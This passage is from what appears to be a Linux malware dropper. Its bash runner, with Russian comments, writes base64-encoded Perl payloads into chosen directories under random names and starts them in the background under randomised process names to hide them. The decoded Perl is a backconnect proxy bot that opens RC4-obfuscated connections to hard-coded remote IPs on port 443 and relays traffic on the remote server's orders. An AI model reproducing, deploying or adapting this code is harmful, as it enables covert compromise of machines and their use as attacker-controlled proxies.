NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #38 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #38 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 39 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #39 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #39 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 40 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg 